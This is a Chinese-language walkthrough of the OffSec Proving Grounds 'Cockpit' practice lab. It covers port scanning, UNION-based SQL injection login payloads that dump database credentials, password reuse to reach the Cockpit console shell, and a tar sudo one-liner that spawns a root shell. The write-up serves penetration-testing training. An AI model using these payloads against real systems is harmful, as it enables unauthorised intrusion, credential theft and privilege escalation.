OSCP Cockpit Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Cockpit

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

HTTP 80 SQL 注入漏洞 –> 枚举数据库 users 表,登录系统后台 –> 得到 James 用户凭证 –> 登录 HTTP 9090 后台 –> 终端功能存在交互式 shell –> 用户旗帜

权限提升:

James 用户 tar sudo 权限 –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
sudo nmap -p- 192.168.212.10 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9090/tcp open zeus-admin

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo nmap -p22,80,9090 -sCV 192.168.212.10

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
| 256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_ 256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: blaze
|_http-server-header: Apache/2.4.41 (Ubuntu)
9090/tcp open http Cockpit web service 198 - 220
|_http-title: Did not follow redirect to https://192.168.212.10:9090/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界(获取用户旗帜)

3.2.1 SQL 注入漏洞

依次访问靶机 HTTP80、9090 端口,其中 9090 端口大概率为服务器的运维管理后台,80 端口则需要进一步枚举。

对 HTTP 80 服务进行目录遍历,发现系统存在 login.php 登录页面。

1
python3.9 dirsearch.py -u "http://192.168.212.10/"

当看到网页存在有关靶机的域名地址,需将域名添加至本地域名解析,有时通过域名访问会有更多有价值信息,也可进一步枚举子域名信息,但针对该靶场没有太多影响。

在登录页面输入单引号测试,发现系统可能存在 SQL 注入漏洞。

1
admin'

使用 burp 抓包,测试发现系统存在 union 联合查询注入。

1
2
username=admin' union select 1,2#&password=1
username=admin' union select 1,2,3,4,5#&password=1

通过常规的 union 联合注入依次获取数据库、表、字段等信息。

1
2
3
4
5
6
7
8
9
10
11
# 查询数据库
username=admin' union select 1,database(),3,4,5#&password=1

# 数据库表信息
username=admin' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='blazeDB'#&password=1

# 表字段信息
username=admin' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema='blazeDB'#&password=1

# 获取 users 表内容
username=admin' union select 1,group_concat(concat(username,'~',password)),3,4,5 from users#&password=1

1
admin~canttouchhhthiss@455152

使用获取到的用户名密码登录网站后台,发现了两个用户凭证信息。

将密码进行 base64 解码。

1
2
james	Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=	canttouchhhthiss@455152
cameron dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy thisscanttbetouchedd@455152

3.2.2 密码复用获取到 James 用户权限

使用 James 用户可登录 HTTP 9090 端口后台,通过后台终端功能可与系统进行 shell 交互。

3.2.3 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Tar sudo 提权

使用获取的 shell 查看系统 sudo 权限,发现 James 用户可以任意用户权限执行 tar 命令,利用该配置可提权至 root。

1
sudo -l

参考链接:

1
https://gtfobins.github.io/gtfobins/tar/#sudo

1
sudo -u root /usr/bin/tar -czvf /tmp/backup.tar.gz /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

成功获取到系统 root 用户权限。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Cockpit Write-up
https://www.f0nesec.top/2025/08/25/oscp-cockpit/
作者
F0ne
发布于
2025年8月25日
许可协议